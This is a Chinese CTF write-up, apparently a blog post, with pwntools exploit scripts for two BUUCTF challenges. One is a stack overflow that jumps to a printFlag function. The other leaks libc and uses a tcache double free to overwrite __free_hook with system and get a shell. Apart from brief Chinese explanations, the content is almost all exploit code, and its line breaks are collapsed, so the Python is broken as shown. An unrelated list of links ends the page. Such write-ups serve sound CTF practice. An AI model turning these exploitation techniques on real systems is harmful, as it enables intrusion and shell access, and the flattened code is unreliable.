在家希望武汉的师傅们一切都好~~

bbys_tu_2016

这道有点没搞清额额flag文件是flag.txt是能control但是好像不能ROP也是能读到flag文件的就很简单了还有似乎文件没写好setbuf函数不会先出现io流
exp:

#!/usr/bin/python2
from pwn import *
local=0
if local==1:p=process('../binary/bbys_tu_2016')elf=ELF('../binary/bbys_tu_2016')
else:p=remote('node3.buuoj.cn',25744)elf=ELF('../binary/bbys_tu_2016')
def exp():main=0x080485C9payload='a'*0x18+p32(elf.sym['printFlag'])p.sendline(payload)p.interactive()if __name__=="__main__":exp()

xm_2019_awd_pwn2

直接tcache double free拿到free_hook甚至都不会检查size是否存在使得漏洞利用变得极为的简单打到free_hook写成system然后布置好chunk free拿到shell
exp:

#!/usr/bin/python2
from pwn import *
local=0
if local==1:p=process('./xm_2019_awd_pwn2')elf=ELF('./xm_2019_awd_pwn2')libc=elf.libc
else:p=remote('node3.buuoj.cn',25112)elf=ELF('./xm_2019_awd_pwn2')libc=elf.libc
def add(size,content):p.sendlineafter('>>','1')p.sendlineafter('size:',str(size))p.sendlineafter('content:',content)def delete(idx):p.sendlineafter('>>','2')p.sendlineafter('idx:',str(idx))def show(idx):p.sendlineafter('>>','3')p.sendlineafter('idx:',str(idx))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))def exp():add(0x500,'doudou') #0add(0x500,'douodu1') #1delete(0)show(0)libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96#lg('libcbase',libcbase)system=libcbase+libc.sym['system']free_hook=libcbase+libc.sym['__free_hook']add(0x60,'doudou1')#2add(0x60,'doudou2')#3delete(2)delete(2)add(0x60,p64(free_hook))add(0x60,'doudou3')#4add(0x60,p64(system))#5add(0x20,'/bin/sh\x00')#6lg('libcbase',libcbase)p.sendlineafter('>>','2')p.sendlineafter('idx:','7')p.interactive()
if __name__=="__main__":exp()

BUUCTF bbys_tu_2016xm_2019_awd_pwn2相关推荐

  1. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  2. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  3. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  4. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  5. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  6. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  7. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  8. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

  9. BUUCTF Reverse/findKey

    BUUCTF Reverse/findKey 先看文件信息:32位程序,没有加壳 打开看看,标题为find flag,也没啥有用的信息 IDA32位打开,找到start函数,看到有个main,跟随跳转 ...

最新文章

  1. 谷歌最新视频抠图术:影子烟雾都能抠,添加水印更顺滑,UP主剪辑利器 | 开源...
  2. conv2d函数_Pytorch 从0开始学(6)——Conv2d 详解
  3. 求一颗二叉树中两个节点的最低公共父节点
  4. 02--MySQL自学教程:数据库MySQL纯净卸载
  5. C/Cpp / 类中静态成员变量和普通成员变量的区别
  6. dataframe 选择输出_使用 Python 实现机器学习特征选择的 4 种方法
  7. c语言printf %llo,c++ - Printf疯狂了 - 堆栈内存溢出
  8. http与https与socket tcp/IP与UDP 协议等
  9. Struts 2 Spring Hibernate三大框架的执行流程以及原理
  10. android教程1009无标题,Android ActionBarActivity设置全屏无标题实现方法总结_Android_脚本之家...
  11. AMBA interconnector PL301(一)
  12. SpringBoot实现JWT保护前后端分离RESTful API
  13. hp1015驱动64位_惠普1015打印机驱动下载
  14. 实验6 地理数据可视化
  15. 报刊订阅管理系统(数据库课程设计)
  16. 恋与制作人 服务器错误,恋与制作人登陆不了怎么办 登录失败无法登录DNS劫持全解析...
  17. 图形学数学基础之1D采样分布计算方法Inverse Method
  18. lightroom初学
  19. PMP缓考怎么操作?
  20. 焦绪录:大数据如何推动数字中国建设

热门文章

  1. Pin To Taskbar
  2. 如何辨别领导是在忽悠你,还是想培养你?
  3. flink-jobmanager
  4. Linux上无法杀掉redis、redis-sentinel进程
  5. 《Python核心编程》第1章答案
  6. 语义分割数据增强python代码
  7. Halcon-依据点关系计算物体三维位姿
  8. 摄影五字歌 - 还是买单反吧,卡片机太坑爹!
  9. MindNode使用
  10. 蓝牙mesh、wifi、zigbee和lora、NB-lot区别和联系